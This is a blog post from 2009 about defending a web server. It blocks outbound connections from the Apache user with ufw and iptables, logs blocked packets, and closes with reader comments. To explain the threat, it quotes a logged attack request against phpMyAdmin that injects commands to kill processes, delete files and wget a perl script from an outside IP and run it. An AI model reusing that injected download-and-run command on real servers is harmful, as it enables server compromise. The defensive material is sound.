Securing your web server by blocking outbound connections

November 24, 2009

For a majority of web servers out there the need to query DNS servers and make external HTTP connections are not required yet these types of outbound packets are generally not firewalled off.

<

p> Take a quick search through your Apache logs for the ‘wget’ command and you may find requests that resemble something like this

217.196.212.150 - - [09/Sep/2009:04:31:25 +1000] "GET /phpMyAdmin/config/config
.inc.php?c=cd%20/tmp;killall%20-9%20perl;rm%20-rf%20X0-lock;rm%20-rf%20font-nix
;wget%20193.13.87.38/X0-locker;perl%20X0-locker  HTTP/1.1" 404 230 "-" "Mozilla
/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

The above request shows a scripted HTTP query that attempts to pass several commands to the PHP file titled config.inc.php. If successful this command would of killed all perl processes owned by the user running the web server (the user being www-data and the web server being Apache in this case), rm’d a few files, downloaded a perl script called X0-locker from an external site and then ran that perl script with the privileges of www-data.

<

p> A catch all fix for these types of attacks is to firewall all packets generated by the user running Apache.

Below I will take this 1 step further and demonstrate how to successfully block all outbound connections that we do not allow through using Ubuntu. This includes outbound HTTP and DNS requests from our user running our web server. Whilst iptables is not Ubuntu specific, I use the ufw package which is found in Ubuntu. The iptables rules that I use can be bolted on top of most distributions if you change the chain names.

Firstly, lets install the ufw package

$ sudo apt-get install ufw

Set the default OUTPUT policy to DROP by editing /etc/default/ufw. This effectively drops every outgoing packet.

DEFAULT_OUTPUT_POLICY="DROP"

Enable ufw by setting ENABLED to yes by editing /etc/ufw/ufw.conf

ENABLED=yes

At this stage its best you ensure your remote console connection to your web server is working. If you dont have a remote console connection you can add a small cron job which will stop the ufw service removing all the iptables rules.

<

p>Add the following cron job to /etc/cron.d/ufw

*/10 * * * *    root /etc/init.d/ufw stop

ufw (version 0.27) has a –dry-run feature though as far I’m aware this does not work with editing rules in /etc/ufw/before.rules which is where we’re going next. I cant stress enough that without a remote console connection or the above cron job, you most likely will lock yourself out of your server.

Now to begin editing iptables rules. Open /etc/ufw/before.rules and hash out the following lines

-A ufw-before-output -p tcp -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
-A ufw-before-output -p udp -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

<

p>Find the COMMIT line within /etc/ufw/before.rules which should be on the last line. Just before the COMMIT line add the following

# http/s
-A ufw-before-input -p tcp --sport 1024:65535 -m multiport --dports 80,443 -j ACCEPT

# ssh
-A ufw-before-input -p tcp --dport 22 -j ACCEPT

# allow established packets through
-A ufw-before-output -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT
-A ufw-before-output -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT

# ntp
-A ufw-before-output -m owner --uid-owner ntp -p udp -m multiport --dport 53,123 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
-A ufw-before-output -m owner --uid-owner root -p udp -m multiport --dport 53,123 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

# log
-A ufw-before-output -m limit --limit 3/min --limit-burst 10 -m state --state NEW -j LOG --log-uid

If you have a remote console connection to your server its best to login through it now. If not ensure the cron job that stops the ufw service is working. If one of these ‘backdoors’ are not working be prepared to pay a visit to your data center and login via the console.

Start ufw.

$ sudo /etc/init.d/ufw start

Check the new iptable rules are in place

$ sudo iptables -L -n -v

We can easily test that the rules are in place and are blocking outbound connections from the webserver by su’ing to the www-data user and generating an outbound DNS and HTTP request

$ sudo su - www-data -s /bin/bash
$ telnet www.google.com 80
telnet: could not resolve www.google.com/80: Name or service not known

As we havent allowed DNS requests to be made from the www-data user outbound, HTTP queries have no chance of getting through. You can relax this slightly by allowing DNS requests to be made by www-data. This may be required if your web applications do any host based outbound queries (eg; using the google maps API) or if your Apache configuration has host based ACLs using an authorization module such as mod_authz_host.

To allow DNS requests by the www-data but continue to block all outbound connections that are initiated by the www-data user add the following iptables rule just before the final ufw-before-output rule

-A ufw-before-output -m owner --uid-owner www-data -p tcp --dport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
-A ufw-before-output -m owner --uid-owner www-data -p udp --dport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

Logging

Within the rules that we have added to perform the logging of the packets that are blocked we’ve used the –log-uid option allowing the logs to contain the UID and GID of the user who generated the offending outbound packet.

This extra piece of information is incredibly useful in debugging web applications and services that are trying establish outbound connections

Nov 22 20:52:52 web01 kernel: [569936.655730] IN= OUT=eth0 SRC=10.3.2.70 
DST=66.249.89.99 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=595 DF PROTO=TCP SPT=44742
DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0 UID=33 GID=33 

From the above log we have the following important information that can help determine what was blocked and whether we need to unblock it.

OUT=eth0 – the ethernet card that the packet was route out
SRC=10.3.2.70 – the source IP address of your web server
DST=66.249.89.99 – the destination of the packet
PROTO=TCP – the protocol of the packet
DPT=80 – the destination port
UID=33 – the userid that generated the packet
GID=33 – the group id that generated the packet

  • http://etbe.coker.com.au Russell Coker

    One potential problem with this is that it inherently conflicts with OpenID. If you don’t like OpenID then this isn’t a problem. But I have found OpenID useful on my blog which means that I have to deal with some of these things.

    As an aside it seems that OpenID has the potential to be used in DDOS attacks. I’ve seen my blog make outbound OpenID verification checks that appear suspicious and which could be part of a DDOS attack on some innocent 3rd party.

    Apart from having a CAPTCHA before OpenID (which seems ugly to do two different verification methods) I can’t think of any solution for this.

  • Ink-Toner-Refills.com

    However if the query does not need a DNS response e.g. if it uses an IP address instead of a domain name then it would probably still  through with all that? Also, would cached DNS domains would still go through? Placing a domain name into your DNS cache could be accomplished in a number of ways by a potential attacker. Any solutions for the above issues?

Previous post:

Next post: